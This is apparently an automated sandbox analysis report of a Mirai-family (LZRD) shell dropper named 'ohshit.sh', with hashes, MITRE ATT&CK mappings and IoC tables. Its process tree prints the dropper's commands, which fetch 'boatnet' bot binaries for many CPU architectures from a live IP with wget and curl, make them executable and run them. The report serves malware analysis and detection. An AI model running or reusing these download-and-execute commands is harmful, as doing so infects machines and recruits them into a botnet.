mirai | cb69d62b52dd6917dbde67db70d37db577ea3fa002bb6f9fd6d88354f84a5a57

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12-01-2025 14:35

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General

Target

ohshit.sh
Size

2KB
MD5

e25f891adc7a50ef0de34587b5d59e24
SHA1

90118fabbbb484f6d7e3d94d5128cac84ca384d5
SHA256

cb69d62b52dd6917dbde67db70d37db577ea3fa002bb6f9fd6d88354f84a5a57
SHA512

cdd371403ebe19b4fc4a57fe5f48cf967f3baa2b11c8ab6abc69734c631209d8a1c45f17053d2f07e8fd5efe0f17420d661261b820fb07b01f820761270d13e0

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1563	chmod
1677	chmod
1549	chmod
1609	chmod
1633	chmod
1659	chmod
1669	chmod
1695	chmod
1595	chmod
1527	chmod
1541	chmod
1617	chmod
1645	chmod
1687	chmod
1519	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1520	WTF
/tmp/WTF	1528	WTF
/tmp/WTF	1542	WTF
/tmp/WTF	1550	WTF
/tmp/WTF	1564	WTF
/tmp/WTF	1596	WTF
/tmp/WTF	1610	WTF
/tmp/WTF	1618	WTF
/tmp/WTF	1634	WTF
/tmp/WTF	1646	WTF
/tmp/WTF	1660	WTF
/tmp/WTF	1670	WTF
/tmp/WTF	1678	WTF
/tmp/WTF	1688	WTF
/tmp/WTF	1696	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/556/cmdline	WTF
File opened for reading	/proc/520/cmdline	WTF
File opened for reading	/proc/1036/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/1681/cmdline	WTF
File opened for reading	/proc/533/cmdline	WTF
File opened for reading	/proc/603/cmdline	WTF
File opened for reading	/proc/726/cmdline	WTF
File opened for reading	/proc/1671/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/1673/cmdline	WTF
File opened for reading	/proc/1567/cmdline	WTF
File opened for reading	/proc/1188/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/1150/cmdline	WTF
File opened for reading	/proc/1107/cmdline	WTF
File opened for reading	/proc/577/cmdline	WTF
File opened for reading	/proc/1146/cmdline	WTF
File opened for reading	/proc/470/cmdline	WTF
File opened for reading	/proc/1661/cmdline	WTF
File opened for reading	/proc/1147/cmdline	WTF
File opened for reading	/proc/1016/cmdline	WTF
File opened for reading	/proc/498/cmdline	WTF
File opened for reading	/proc/1551/cmdline	WTF
File opened for reading	/proc/1621/cmdline	WTF
File opened for reading	/proc/470/cmdline	WTF
File opened for reading	/proc/1261/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/463/cmdline	WTF
File opened for reading	/proc/1313/cmdline	WTF
File opened for reading	/proc/1545/cmdline	WTF
File opened for reading	/proc/1147/cmdline	WTF
File opened for reading	/proc/408/cmdline	WTF
File opened for reading	/proc/966/cmdline	WTF
File opened for reading	/proc/533/cmdline	WTF
File opened for reading	/proc/1311/cmdline	WTF
File opened for reading	/proc/1481/cmdline	WTF
File opened for reading	/proc/498/cmdline	WTF
File opened for reading	/proc/1227/cmdline	WTF
File opened for reading	/proc/1068/cmdline	WTF
File opened for reading	/proc/409/cmdline	WTF
File opened for reading	/proc/1481/cmdline	WTF
File opened for reading	/proc/1647/cmdline	WTF
File opened for reading	/proc/577/cmdline	WTF
File opened for reading	/proc/497/cmdline	WTF
File opened for reading	/proc/470/cmdline	WTF
File opened for reading	/proc/498/cmdline	WTF
File opened for reading	/proc/1097/cmdline	WTF
File opened for reading	/proc/1260/cmdline	WTF
File opened for reading	/proc/1060/cmdline	WTF
File opened for reading	/proc/659/cmdline	WTF
File opened for reading	/proc/1321/cmdline	WTF
File opened for reading	/proc/1184/cmdline	WTF
File opened for reading	/proc/1175/cmdline	WTF
File opened for reading	/proc/1036/cmdline	WTF
File opened for reading	/proc/498/cmdline	WTF
File opened for reading	/proc/957/cmdline	WTF
File opened for reading	/proc/1068/cmdline	WTF
File opened for reading	/proc/1164/cmdline	WTF
File opened for reading	/proc/1064/cmdline	WTF
File opened for reading	/proc/463/cmdline	WTF
File opened for reading	/proc/1274/cmdline	WTF
File opened for reading	/proc/533/cmdline	WTF
File opened for reading	/proc/1567/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1524	wget
1525	curl

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.i686	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.ppc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1512
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1518
- /bin/chmod
  chmod +x boatnet.x86 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-knnn3u systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1519
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1520
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1524
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1525
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-knnn3u systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1527
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1528
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-GJYZhK systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1541
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1542
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.i468
  2⤵
  PID:1546
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-GJYZhK systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1550
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1554
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-biJf8d systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1564
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-phqvhA systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-8qhydC systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1609
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1610
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1614
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1615
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-8qhydC systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1617
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1618
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1622
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1633
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1634
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1638
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-SbxxeJ systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1646
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1650
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1651
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-bolt.service-rhVjAA systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1659
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1660
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1664
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1667
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1670
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1674
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1675
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa systemd-private-d3b82350ea324328903a7208792362c3-systemd-timedated.service-ieu9t1 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1677
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1678
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1682
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1683
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1687
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1688
- /usr/bin/wget
  wget http://94.158.245.27/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1692
- /usr/bin/curl
  curl -O http://94.158.245.27/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1693
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-8JBWpx netplan_uuqr82fq ohshit.sh snap-private-tmp ssh-aWIWPa7JoOzN systemd-private-d3b82350ea324328903a7208792362c3-colord.service-2OyRbA systemd-private-d3b82350ea324328903a7208792362c3-ModemManager.service-kDXuTV systemd-private-d3b82350ea324328903a7208792362c3-systemd-resolved.service-YofTFa WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1695
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
29KB

MD5
545dbe1d228295c958b5a3f6ec4d8278

SHA1
f8dff366ea07681be596cdb33911c3f4119d0763

SHA256
a8cbba23e7c866ccf3dc8b4d4e1cc5a51de83272cb6f8df8746a51a2817d8f7b

SHA512
fe2115ad64b5755a4b4d71660d8de94c0a7f3f7d9eb3519a6e82216621f83d0855a32c41963b22dabac02e9d82c95cca8efce568d2fdafd8123e4f443c335a3f

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